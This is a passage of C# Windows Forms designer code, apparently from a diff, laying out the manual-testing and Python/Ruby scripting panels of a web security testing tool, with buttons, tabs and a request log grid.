this.MTMaximizeResponseViewBtn.UseVisualStyleBackColor = true; - this.MTMaximizeResponseViewBtn.Click += new System.EventHandler(this.MTMaximizeResponseViewBtn_Click); - // - // TestUpdateCookieStoreLL - // - this.TestUpdateCookieStoreLL.AutoSize = true; - this.TestUpdateCookieStoreLL.Location = new System.Drawing.Point(198, 9); - this.TestUpdateCookieStoreLL.Name = "TestUpdateCookieStoreLL"; - this.TestUpdateCookieStoreLL.Size = new System.Drawing.Size(279, 13); - this.TestUpdateCookieStoreLL.TabIndex = 27; - this.TestUpdateCookieStoreLL.TabStop = true; - this.TestUpdateCookieStoreLL.Text = "Update the Cookie Store with cookies from this Response"; - this.TestUpdateCookieStoreLL.Visible = false; - this.TestUpdateCookieStoreLL.LinkClicked += new System.Windows.Forms.LinkLabelLinkClickedEventHandler(this.TestUpdateCookieStoreLL_LinkClicked); - // - // TestResponseView - // - this.TestResponseView.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) - | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.TestResponseView.BackColor = System.Drawing.Color.White; - this.TestResponseView.IncludeReflectionTab = true; - this.TestResponseView.Location = new System.Drawing.Point(0, 27); - this.TestResponseView.Margin = new System.Windows.Forms.Padding(0); - this.TestResponseView.Name = "TestResponseView"; - this.TestResponseView.ReadOnly = true; - this.TestResponseView.Size = new System.Drawing.Size(697, 129); - this.TestResponseView.TabIndex = 0; - // - // MTGetRedirectBtn - // - this.MTGetRedirectBtn.Location = new System.Drawing.Point(102, 4); - this.MTGetRedirectBtn.Name = "MTGetRedirectBtn"; - this.MTGetRedirectBtn.Size = new System.Drawing.Size(90, 23); - this.MTGetRedirectBtn.TabIndex = 25; - this.MTGetRedirectBtn.Text = "Get Redirect"; - this.MTGetRedirectBtn.UseVisualStyleBackColor = true; - this.MTGetRedirectBtn.Visible = false; - this.MTGetRedirectBtn.Click += new System.EventHandler(this.MTGetRedirectBtn_Click); - // - // MTFollowRedirectBtn - // - this.MTFollowRedirectBtn.Location = new System.Drawing.Point(6, 4); - this.MTFollowRedirectBtn.Name = "MTFollowRedirectBtn"; - this.MTFollowRedirectBtn.Size = new System.Drawing.Size(90, 23); - this.MTFollowRedirectBtn.TabIndex = 6; - this.MTFollowRedirectBtn.Text = "Follow Redirect"; - this.MTFollowRedirectBtn.UseVisualStyleBackColor = true; - this.MTFollowRedirectBtn.Visible = false; - this.MTFollowRedirectBtn.Click += new System.EventHandler(this.MTFollowRedirectBtn_Click); - // - // MTGroupHistoryTab - // - this.MTGroupHistoryTab.Controls.Add(this.TestGroupHistoryBaseSplit); - this.MTGroupHistoryTab.Location = new System.Drawing.Point(4, 22); - this.MTGroupHistoryTab.Name = "MTGroupHistoryTab"; - this.MTGroupHistoryTab.Size = new System.Drawing.Size(697, 156); - this.MTGroupHistoryTab.TabIndex = 2; - this.MTGroupHistoryTab.Text = " Group History "; - this.MTGroupHistoryTab.UseVisualStyleBackColor = true; - // - // TestGroupHistoryBaseSplit - // - this.TestGroupHistoryBaseSplit.Dock = System.Windows.Forms.DockStyle.Fill; - this.TestGroupHistoryBaseSplit.FixedPanel = System.Windows.Forms.FixedPanel.Panel1; - this.TestGroupHistoryBaseSplit.IsSplitterFixed = true; - this.TestGroupHistoryBaseSplit.Location = new System.Drawing.Point(0, 0); - this.TestGroupHistoryBaseSplit.Margin = new System.Windows.Forms.Padding(0); - this.TestGroupHistoryBaseSplit.Name = "TestGroupHistoryBaseSplit"; - this.TestGroupHistoryBaseSplit.Orientation = System.Windows.Forms.Orientation.Horizontal; - // - // TestGroupHistoryBaseSplit.Panel1 - // - this.TestGroupHistoryBaseSplit.Panel1.Controls.Add(this.label6); - this.TestGroupHistoryBaseSplit.Panel1.Controls.Add(this.TestGroupHistoryDoDiffBtn); - // - // TestGroupHistoryBaseSplit.Panel2 - // - this.TestGroupHistoryBaseSplit.Panel2.Controls.Add(this.TestGroupLogGrid); - this.TestGroupHistoryBaseSplit.Size = new System.Drawing.Size(697, 156); - this.TestGroupHistoryBaseSplit.SplitterDistance = 32; - this.TestGroupHistoryBaseSplit.SplitterWidth = 2; - this.TestGroupHistoryBaseSplit.TabIndex = 24; - // - // label6 - // - this.label6.AutoSize = true; - this.label6.Location = new System.Drawing.Point(3, 10); - this.label6.Name = "label6"; - this.label6.Size = new System.Drawing.Size(429, 13); - this.label6.TabIndex = 47; - this.label6.Text = "Click on Checkbox to select log. Click anywhere else to view the Request and Resp" + - "onse."; - // - // TestGroupHistoryDoDiffBtn - // - this.TestGroupHistoryDoDiffBtn.Location = new System.Drawing.Point(438, 5); - this.TestGroupHistoryDoDiffBtn.Name = "TestGroupHistoryDoDiffBtn"; - this.TestGroupHistoryDoDiffBtn.Size = new System.Drawing.Size(140, 23); - this.TestGroupHistoryDoDiffBtn.TabIndex = 46; - this.TestGroupHistoryDoDiffBtn.Text = "Diff Selected Sessions"; - this.TestGroupHistoryDoDiffBtn.UseVisualStyleBackColor = true; - this.TestGroupHistoryDoDiffBtn.Click += new System.EventHandler(this.TestGroupHistoryDoDiffBtn_Click); - // - // TestGroupLogGrid - // - this.TestGroupLogGrid.AllowUserToAddRows = false; - this.TestGroupLogGrid.AllowUserToDeleteRows = false; - this.TestGroupLogGrid.AllowUserToOrderColumns = true; - this.TestGroupLogGrid.AllowUserToResizeRows = false; - this.TestGroupLogGrid.AutoSizeColumnsMode = System.Windows.Forms.DataGridViewAutoSizeColumnsMode.Fill; - this.TestGroupLogGrid.BackgroundColor = System.Drawing.Color.White; - this.TestGroupLogGrid.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.TestGroupLogGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.DisableResizing; - this.TestGroupLogGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { - this.TestGroupLogGridForSelect, - this.TestGroupLogGridForID, - this.TestGroupLogGridForHost, - this.TestGroupLogGridForMethod, - this.TestGroupLogGridForURL, - this.TestGroupLogGridForSSL, - this.TestGroupLogGridForCode, - this.TestGroupLogGridForLength, - this.TestGroupLogGridForMIME, - this.TestGroupLogGridForSetCookie}); - this.TestGroupLogGrid.ContextMenuStrip = this.LogMenu; - this.TestGroupLogGrid.Dock = System.Windows.Forms.DockStyle.Fill; - this.TestGroupLogGrid.EditMode = System.Windows.Forms.DataGridViewEditMode.EditProgrammatically; - this.TestGroupLogGrid.GridColor = System.Drawing.Color.White; - this.TestGroupLogGrid.Location = new System.Drawing.Point(0, 0); - this.TestGroupLogGrid.Margin = new System.Windows.Forms.Padding(0); - this.TestGroupLogGrid.MultiSelect = false; - this.TestGroupLogGrid.Name = "TestGroupLogGrid"; - this.TestGroupLogGrid.ReadOnly = true; - this.TestGroupLogGrid.RowHeadersVisible = false; - this.TestGroupLogGrid.RowHeadersWidth = 10; - this.TestGroupLogGrid.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; - this.TestGroupLogGrid.Size = new System.Drawing.Size(697, 122); - this.TestGroupLogGrid.TabIndex = 23; - this.TestGroupLogGrid.CellClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.TestGroupLogGrid_CellClick); - // - // TestGroupLogGridForSelect - // - this.TestGroupLogGridForSelect.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; - this.TestGroupLogGridForSelect.HeaderText = "SELECT"; - this.TestGroupLogGridForSelect.Name = "TestGroupLogGridForSelect"; - this.TestGroupLogGridForSelect.ReadOnly = true; - this.TestGroupLogGridForSelect.Width = 60; - // - // TestGroupLogGridForID - // - this.TestGroupLogGridForID.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; - this.TestGroupLogGridForID.HeaderText = "ID"; - this.TestGroupLogGridForID.MinimumWidth = 50; - this.TestGroupLogGridForID.Name = "TestGroupLogGridForID"; - this.TestGroupLogGridForID.ReadOnly = true; - this.TestGroupLogGridForID.Width = 50; - // - // TestGroupLogGridForHost - // - this.TestGroupLogGridForHost.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; - this.TestGroupLogGridForHost.HeaderText = "HOSTNAME"; - this.TestGroupLogGridForHost.Name = "TestGroupLogGridForHost"; - this.TestGroupLogGridForHost.ReadOnly = true; - this.TestGroupLogGridForHost.Width = 120; - // - // TestGroupLogGridForMethod - // - this.TestGroupLogGridForMethod.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; - this.TestGroupLogGridForMethod.HeaderText = "METHOD"; - this.TestGroupLogGridForMethod.Name = "TestGroupLogGridForMethod"; - this.TestGroupLogGridForMethod.ReadOnly = true; - this.TestGroupLogGridForMethod.Width = 60; - // - // TestGroupLogGridForURL - // - this.TestGroupLogGridForURL.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; - this.TestGroupLogGridForURL.HeaderText = "URL"; - this.TestGroupLogGridForURL.MinimumWidth = 150; - this.TestGroupLogGridForURL.Name = "TestGroupLogGridForURL"; - this.TestGroupLogGridForURL.ReadOnly = true; - // - // TestGroupLogGridForSSL - // - this.TestGroupLogGridForSSL.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; - this.TestGroupLogGridForSSL.HeaderText = "SSL"; - this.TestGroupLogGridForSSL.Name = "TestGroupLogGridForSSL"; - this.TestGroupLogGridForSSL.ReadOnly = true; - this.TestGroupLogGridForSSL.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.Automatic; - this.TestGroupLogGridForSSL.Width = 30; - // - // TestGroupLogGridForCode - // - this.TestGroupLogGridForCode.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; - this.TestGroupLogGridForCode.HeaderText = "CODE"; - this.TestGroupLogGridForCode.Name = "TestGroupLogGridForCode"; - this.TestGroupLogGridForCode.ReadOnly = true; - this.TestGroupLogGridForCode.Width = 60; - // - // TestGroupLogGridForLength - // - this.TestGroupLogGridForLength.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; - this.TestGroupLogGridForLength.HeaderText = "LENGTH"; - this.TestGroupLogGridForLength.Name = "TestGroupLogGridForLength"; - this.TestGroupLogGridForLength.ReadOnly = true; - this.TestGroupLogGridForLength.Width = 60; - // - // TestGroupLogGridForMIME - // - this.TestGroupLogGridForMIME.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; - this.TestGroupLogGridForMIME.HeaderText = "MIME"; - this.TestGroupLogGridForMIME.Name = "TestGroupLogGridForMIME"; - this.TestGroupLogGridForMIME.ReadOnly = true; - this.TestGroupLogGridForMIME.Width = 70; - // - // TestGroupLogGridForSetCookie - // - this.TestGroupLogGridForSetCookie.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; - this.TestGroupLogGridForSetCookie.HeaderText = "SET-COOKIE"; - this.TestGroupLogGridForSetCookie.Name = "TestGroupLogGridForSetCookie"; - this.TestGroupLogGridForSetCookie.ReadOnly = true; - this.TestGroupLogGridForSetCookie.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.Automatic; - this.TestGroupLogGridForSetCookie.Width = 80; - // - // MTHelp - // - this.MTHelp.Controls.Add(this.MTHelpTB); - this.MTHelp.Location = new System.Drawing.Point(4, 22); - this.MTHelp.Name = "MTHelp"; - this.MTHelp.Size = new System.Drawing.Size(697, 156); - this.MTHelp.TabIndex = 3; - this.MTHelp.Text = " Help "; - this.MTHelp.UseVisualStyleBackColor = true; - // - // MTHelpTB - // - this.MTHelpTB.BackColor = System.Drawing.Color.White; - this.MTHelpTB.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.MTHelpTB.Dock = System.Windows.Forms.DockStyle.Fill; - this.MTHelpTB.Location = new System.Drawing.Point(0, 0); - this.MTHelpTB.Multiline = true; - this.MTHelpTB.Name = "MTHelpTB"; - this.MTHelpTB.ReadOnly = true; - this.MTHelpTB.ScrollBars = System.Windows.Forms.ScrollBars.Vertical; - this.MTHelpTB.Size = new System.Drawing.Size(697, 156); - this.MTHelpTB.TabIndex = 1; - this.MTHelpTB.TabStop = false; - this.MTHelpTB.Text = resources.GetString("MTHelpTB.Text"); - // - // mt_scripting - // - this.mt_scripting.Controls.Add(this.ScriptingShellSplit); - this.mt_scripting.Location = new System.Drawing.Point(4, 22); - this.mt_scripting.Margin = new System.Windows.Forms.Padding(0); - this.mt_scripting.Name = "mt_scripting"; - this.mt_scripting.Size = new System.Drawing.Size(705, 511); - this.mt_scripting.TabIndex = 10; - this.mt_scripting.Text = " Scripting "; - this.mt_scripting.UseVisualStyleBackColor = true; - // - // ScriptingShellSplit - // - this.ScriptingShellSplit.Dock = System.Windows.Forms.DockStyle.Fill; - this.ScriptingShellSplit.Location = new System.Drawing.Point(0, 0); - this.ScriptingShellSplit.Margin = new System.Windows.Forms.Padding(0); - this.ScriptingShellSplit.Name = "ScriptingShellSplit"; - // - // ScriptingShellSplit.Panel1 - // - this.ScriptingShellSplit.Panel1.Controls.Add(this.panel3); - this.ScriptingShellSplit.Panel1.Controls.Add(this.ClearShellDisplayBtn); - this.ScriptingShellSplit.Panel1.Controls.Add(this.MultiLineShellExecuteBtn); - this.ScriptingShellSplit.Panel1.Controls.Add(this.InteractiveShellCtrlCBtn); - this.ScriptingShellSplit.Panel1.Controls.Add(this.ScriptingShellTabs); - this.ScriptingShellSplit.Panel1.Controls.Add(this.InteractiveShellRubyRB); - this.ScriptingShellSplit.Panel1.Controls.Add(this.label2); - this.ScriptingShellSplit.Panel1.Controls.Add(this.InteractiveShellPythonRB); - // - // ScriptingShellSplit.Panel2 - // - this.ScriptingShellSplit.Panel2.Controls.Add(this.ScriptingShellAPISplit); - this.ScriptingShellSplit.Size = new System.Drawing.Size(705, 511); - this.ScriptingShellSplit.SplitterDistance = 533; - this.ScriptingShellSplit.SplitterWidth = 2; - this.ScriptingShellSplit.TabIndex = 7; - // - // panel3 - // - this.panel3.BackColor = System.Drawing.Color.LightSkyBlue; - this.panel3.Controls.Add(this.textBox5); - this.panel3.Controls.Add(this.ShowScriptCreationAssistantBtn); - this.panel3.Dock = System.Windows.Forms.DockStyle.Top; - this.panel3.Location = new System.Drawing.Point(0, 0); - this.panel3.Margin = new System.Windows.Forms.Padding(0); - this.panel3.Name = "panel3"; - this.panel3.Size = new System.Drawing.Size(533, 49); - this.panel3.TabIndex = 9; - // - // textBox5 - // - this.textBox5.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) - | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.textBox5.BackColor = System.Drawing.Color.LightSkyBlue; - this.textBox5.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.textBox5.Location = new System.Drawing.Point(5, 5); - this.textBox5.Margin = new System.Windows.Forms.Padding(0); - this.textBox5.Multiline = true; - this.textBox5.Name = "textBox5"; - this.textBox5.ReadOnly = true; - this.textBox5.Size = new System.Drawing.Size(392, 40); - this.textBox5.TabIndex = 9; - this.textBox5.TabStop = false; - this.textBox5.Text = resources.GetString("textBox5.Text"); - // - // ShowScriptCreationAssistantBtn - // - this.ShowScriptCreationAssistantBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); - this.ShowScriptCreationAssistantBtn.BackColor = System.Drawing.Color.Transparent; - this.ShowScriptCreationAssistantBtn.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.ShowScriptCreationAssistantBtn.ForeColor = System.Drawing.Color.Black; - this.ShowScriptCreationAssistantBtn.Location = new System.Drawing.Point(405, 4); - this.ShowScriptCreationAssistantBtn.Margin = new System.Windows.Forms.Padding(0); - this.ShowScriptCreationAssistantBtn.Name = "ShowScriptCreationAssistantBtn"; - this.ShowScriptCreationAssistantBtn.Size = new System.Drawing.Size(127, 41); - this.ShowScriptCreationAssistantBtn.TabIndex = 8; - this.ShowScriptCreationAssistantBtn.Text = "Run Script Creation Assistant"; - this.ShowScriptCreationAssistantBtn.UseVisualStyleBackColor = false; - this.ShowScriptCreationAssistantBtn.Click += new System.EventHandler(this.ShowScriptCreationAssistantBtn_Click); - // - // ClearShellDisplayBtn - // - this.ClearShellDisplayBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); - this.ClearShellDisplayBtn.BackColor = System.Drawing.Color.Transparent; - this.ClearShellDisplayBtn.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.ClearShellDisplayBtn.ForeColor = System.Drawing.Color.Black; - this.ClearShellDisplayBtn.Location = new System.Drawing.Point(359, 54); - this.ClearShellDisplayBtn.Margin = new System.Windows.Forms.Padding(0); - this.ClearShellDisplayBtn.Name = "ClearShellDisplayBtn"; - this.ClearShellDisplayBtn.Size = new System.Drawing.Size(100, 20); - this.ClearShellDisplayBtn.TabIndex = 7; - this.ClearShellDisplayBtn.Text = "Clear Shell Output"; - this.ClearShellDisplayBtn.UseVisualStyleBackColor = false; - this.ClearShellDisplayBtn.Click += new System.EventHandler(this.ClearShellDisplayBtn_Click); - // - // MultiLineShellExecuteBtn - // - this.MultiLineShellExecuteBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); - this.MultiLineShellExecuteBtn.BackColor = System.Drawing.Color.Transparent; - this.MultiLineShellExecuteBtn.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.MultiLineShellExecuteBtn.ForeColor = System.Drawing.Color.Black; - this.MultiLineShellExecuteBtn.Location = new System.Drawing.Point(222, 54); - this.MultiLineShellExecuteBtn.Margin = new System.Windows.Forms.Padding(0); - this.MultiLineShellExecuteBtn.Name = "MultiLineShellExecuteBtn"; - this.MultiLineShellExecuteBtn.Size = new System.Drawing.Size(129, 20); - this.MultiLineShellExecuteBtn.TabIndex = 6; - this.MultiLineShellExecuteBtn.Text = "Execute MutliLine Script"; - this.MultiLineShellExecuteBtn.UseVisualStyleBackColor = false; - this.MultiLineShellExecuteBtn.Visible = false; - this.MultiLineShellExecuteBtn.Click += new System.EventHandler(this.MultiLineShellExecuteBtn_Click); - // - // InteractiveShellCtrlCBtn - // - this.InteractiveShellCtrlCBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); - this.InteractiveShellCtrlCBtn.BackColor = System.Drawing.Color.Transparent; - this.InteractiveShellCtrlCBtn.Enabled = false; - this.InteractiveShellCtrlCBtn.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.InteractiveShellCtrlCBtn.ForeColor = System.Drawing.Color.Black; - this.InteractiveShellCtrlCBtn.Location = new System.Drawing.Point(468, 54); - this.InteractiveShellCtrlCBtn.Margin = new System.Windows.Forms.Padding(0); - this.InteractiveShellCtrlCBtn.Name = "InteractiveShellCtrlCBtn"; - this.InteractiveShellCtrlCBtn.Size = new System.Drawing.Size(62, 20); - this.InteractiveShellCtrlCBtn.TabIndex = 3; - this.InteractiveShellCtrlCBtn.Text = "Ctrl + C"; - this.InteractiveShellCtrlCBtn.UseVisualStyleBackColor = false; - this.InteractiveShellCtrlCBtn.Click += new System.EventHandler(this.InteractiveShellCtrlCBtn_Click); - // - // ScriptingShellTabs - // - this.ScriptingShellTabs.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) - | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.ScriptingShellTabs.Controls.Add(this.InteractiveShellTP); - this.ScriptingShellTabs.Controls.Add(this.MultiLineShellTP); - this.ScriptingShellTabs.Controls.Add(this.ScriptedSendTP); - this.ScriptingShellTabs.Controls.Add(this.ScriptingHelpTP); - this.ScriptingShellTabs.Location = new System.Drawing.Point(0, 76); - this.ScriptingShellTabs.Margin = new System.Windows.Forms.Padding(0); - this.ScriptingShellTabs.Name = "ScriptingShellTabs"; - this.ScriptingShellTabs.Padding = new System.Drawing.Point(0, 0); - this.ScriptingShellTabs.SelectedIndex = 0; - this.ScriptingShellTabs.Size = new System.Drawing.Size(533, 434); - this.ScriptingShellTabs.TabIndex = 3; - this.ScriptingShellTabs.Selecting += new System.Windows.Forms.TabControlCancelEventHandler(this.ScriptingShellTabs_Selecting); - // - // InteractiveShellTP - // - this.InteractiveShellTP.BackColor = System.Drawing.Color.Transparent; - this.InteractiveShellTP.Controls.Add(this.ShellInPanel); - this.InteractiveShellTP.Controls.Add(this.InteractiveShellOut); - this.InteractiveShellTP.Location = new System.Drawing.Point(4, 22); - this.InteractiveShellTP.Margin = new System.Windows.Forms.Padding(0); - this.InteractiveShellTP.Name = "InteractiveShellTP"; - this.InteractiveShellTP.Size = new System.Drawing.Size(525, 408); - this.InteractiveShellTP.TabIndex = 0; - this.InteractiveShellTP.Text = " Interactive Shell "; - // - // ShellInPanel - // - this.ShellInPanel.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.ShellInPanel.BackColor = System.Drawing.Color.OrangeRed; - this.ShellInPanel.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; - this.ShellInPanel.Controls.Add(this.InteractiveShellPromptBox); - this.ShellInPanel.Controls.Add(this.InteractiveShellIn); - this.ShellInPanel.Location = new System.Drawing.Point(0, 390); - this.ShellInPanel.Margin = new System.Windows.Forms.Padding(0); - this.ShellInPanel.Name = "ShellInPanel"; - this.ShellInPanel.Size = new System.Drawing.Size(525, 19); - this.ShellInPanel.TabIndex = 3; - // - // InteractiveShellPromptBox - // - this.InteractiveShellPromptBox.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left))); - this.InteractiveShellPromptBox.BackColor = System.Drawing.Color.Black; - this.InteractiveShellPromptBox.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.InteractiveShellPromptBox.Cursor = System.Windows.Forms.Cursors.Arrow; - this.InteractiveShellPromptBox.Font = new System.Drawing.Font("Lucida Console", 9.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.InteractiveShellPromptBox.ForeColor = System.Drawing.Color.Lime; - this.InteractiveShellPromptBox.Location = new System.Drawing.Point(2, 2); - this.InteractiveShellPromptBox.Margin = new System.Windows.Forms.Padding(0); - this.InteractiveShellPromptBox.Name = "InteractiveShellPromptBox"; - this.InteractiveShellPromptBox.ReadOnly = true; - this.InteractiveShellPromptBox.Size = new System.Drawing.Size(27, 13); - this.InteractiveShellPromptBox.TabIndex = 2; - this.InteractiveShellPromptBox.Text = ">>>>"; - // - // InteractiveShellIn - // - this.InteractiveShellIn.AcceptsReturn = true; - this.InteractiveShellIn.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.InteractiveShellIn.BackColor = System.Drawing.Color.Black; - this.InteractiveShellIn.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.InteractiveShellIn.Font = new System.Drawing.Font("Lucida Console", 9.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.InteractiveShellIn.ForeColor = System.Drawing.Color.Lime; - this.InteractiveShellIn.Location = new System.Drawing.Point(29, 2); - this.InteractiveShellIn.Margin = new System.Windows.Forms.Padding(0); - this.InteractiveShellIn.Name = "InteractiveShellIn"; - this.InteractiveShellIn.Size = new System.Drawing.Size(494, 13); - this.InteractiveShellIn.TabIndex = 0; - this.InteractiveShellIn.WordWrap = false; - this.InteractiveShellIn.KeyPress += new System.Windows.Forms.KeyPressEventHandler(this.InteractiveShellIn_KeyPress); - this.InteractiveShellIn.KeyUp += new System.Windows.Forms.KeyEventHandler(this.InteractiveShellIn_KeyUp); - // - // InteractiveShellOut - // - this.InteractiveShellOut.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) - | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.InteractiveShellOut.BackColor = System.Drawing.Color.Black; - this.InteractiveShellOut.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.InteractiveShellOut.Cursor = System.Windows.Forms.Cursors.Arrow; - this.InteractiveShellOut.Font = new System.Drawing.Font("Lucida Console", 9.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.InteractiveShellOut.ForeColor = System.Drawing.Color.Lime; - this.InteractiveShellOut.Location = new System.Drawing.Point(0, 0); - this.InteractiveShellOut.Margin = new System.Windows.Forms.Padding(0); - this.InteractiveShellOut.MaxLength = 2147483647; - this.InteractiveShellOut.Multiline = true; - this.InteractiveShellOut.Name = "InteractiveShellOut"; - this.InteractiveShellOut.ReadOnly = true; - this.InteractiveShellOut.ScrollBars = System.Windows.Forms.ScrollBars.Both; - this.InteractiveShellOut.Size = new System.Drawing.Size(525, 391); - this.InteractiveShellOut.TabIndex = 1; - // - // MultiLineShellTP - // - this.MultiLineShellTP.Controls.Add(this.MultiLineShellInTE); - this.MultiLineShellTP.Location = new System.Drawing.Point(4, 22); - this.MultiLineShellTP.Margin = new System.Windows.Forms.Padding(0); - this.MultiLineShellTP.Name = "MultiLineShellTP"; - this.MultiLineShellTP.Size = new System.Drawing.Size(525, 408); - this.MultiLineShellTP.TabIndex = 1; - this.MultiLineShellTP.Text = " Multi-Line Shell "; - this.MultiLineShellTP.UseVisualStyleBackColor = true; - // - // MultiLineShellInTE - // - this.MultiLineShellInTE.ConvertTabsToSpaces = true; - this.MultiLineShellInTE.Dock = System.Windows.Forms.DockStyle.Fill; - this.MultiLineShellInTE.IsIconBarVisible = false; - this.MultiLineShellInTE.Location = new System.Drawing.Point(0, 0); - this.MultiLineShellInTE.Margin = new System.Windows.Forms.Padding(0); - this.MultiLineShellInTE.Name = "MultiLineShellInTE"; - this.MultiLineShellInTE.ShowEOLMarkers = true; - this.MultiLineShellInTE.ShowSpaces = true; - this.MultiLineShellInTE.ShowTabs = true; - this.MultiLineShellInTE.ShowVRuler = true; - this.MultiLineShellInTE.Size = new System.Drawing.Size(525, 408); - this.MultiLineShellInTE.TabIndent = 2; - this.MultiLineShellInTE.TabIndex = 4; - // - // ScriptedSendTP - // - this.ScriptedSendTP.BackColor = System.Drawing.Color.White; - this.ScriptedSendTP.Controls.Add(this.ShowScriptedSendTemplateLL); - this.ScriptedSendTP.Controls.Add(this.CustomSendErrorTB); - this.ScriptedSendTP.Controls.Add(this.CustomSendTE); - this.ScriptedSendTP.Controls.Add(this.CustomSendBottomRtb); - this.ScriptedSendTP.Controls.Add(this.CustomSendTopRtb); - this.ScriptedSendTP.Controls.Add(this.label1); - this.ScriptedSendTP.Controls.Add(this.CustomSendActivateCB); - this.ScriptedSendTP.Controls.Add(this.CustomSendRubyRB); - this.ScriptedSendTP.Controls.Add(this.CustomSendPythonRB); - this.ScriptedSendTP.Location = new System.Drawing.Point(4, 22); - this.ScriptedSendTP.Margin = new System.Windows.Forms.Padding(0); - this.ScriptedSendTP.Name = "ScriptedSendTP"; - this.ScriptedSendTP.Size = new System.Drawing.Size(525, 408); - this.ScriptedSendTP.TabIndex = 2; - this.ScriptedSendTP.Text = " Scripted Send "; - // - // ShowScriptedSendTemplateLL - // - this.ShowScriptedSendTemplateLL.AutoSize = true; - this.ShowScriptedSendTemplateLL.Location = new System.Drawing.Point(178, 9); - this.ShowScriptedSendTemplateLL.Name = "ShowScriptedSendTemplateLL"; - this.ShowScriptedSendTemplateLL.Size = new System.Drawing.Size(134, 13); - this.ShowScriptedSendTemplateLL.TabIndex = 22; - this.ShowScriptedSendTemplateLL.TabStop = true; - this.ShowScriptedSendTemplateLL.Text = "Show sample Python script"; - this.ShowScriptedSendTemplateLL.LinkClicked += new System.Windows.Forms.LinkLabelLinkClickedEventHandler(this.ShowScriptedSendTemplateLL_LinkClicked); - // - // CustomSendErrorTB - // - this.CustomSendErrorTB.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(255)))), ((int)(((byte)(128)))), ((int)(((byte)(128))))); - this.CustomSendErrorTB.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.CustomSendErrorTB.Dock = System.Windows.Forms.DockStyle.Bottom; - this.CustomSendErrorTB.Location = new System.Drawing.Point(0, 344); - this.CustomSendErrorTB.Multiline = true; - this.CustomSendErrorTB.Name = "CustomSendErrorTB"; - this.CustomSendErrorTB.ReadOnly = true; - this.CustomSendErrorTB.ScrollBars = System.Windows.Forms.ScrollBars.Vertical; - this.CustomSendErrorTB.Size = new System.Drawing.Size(525, 64); - this.CustomSendErrorTB.TabIndex = 15; - this.CustomSendErrorTB.Visible = false; - // - // CustomSendTE - // - 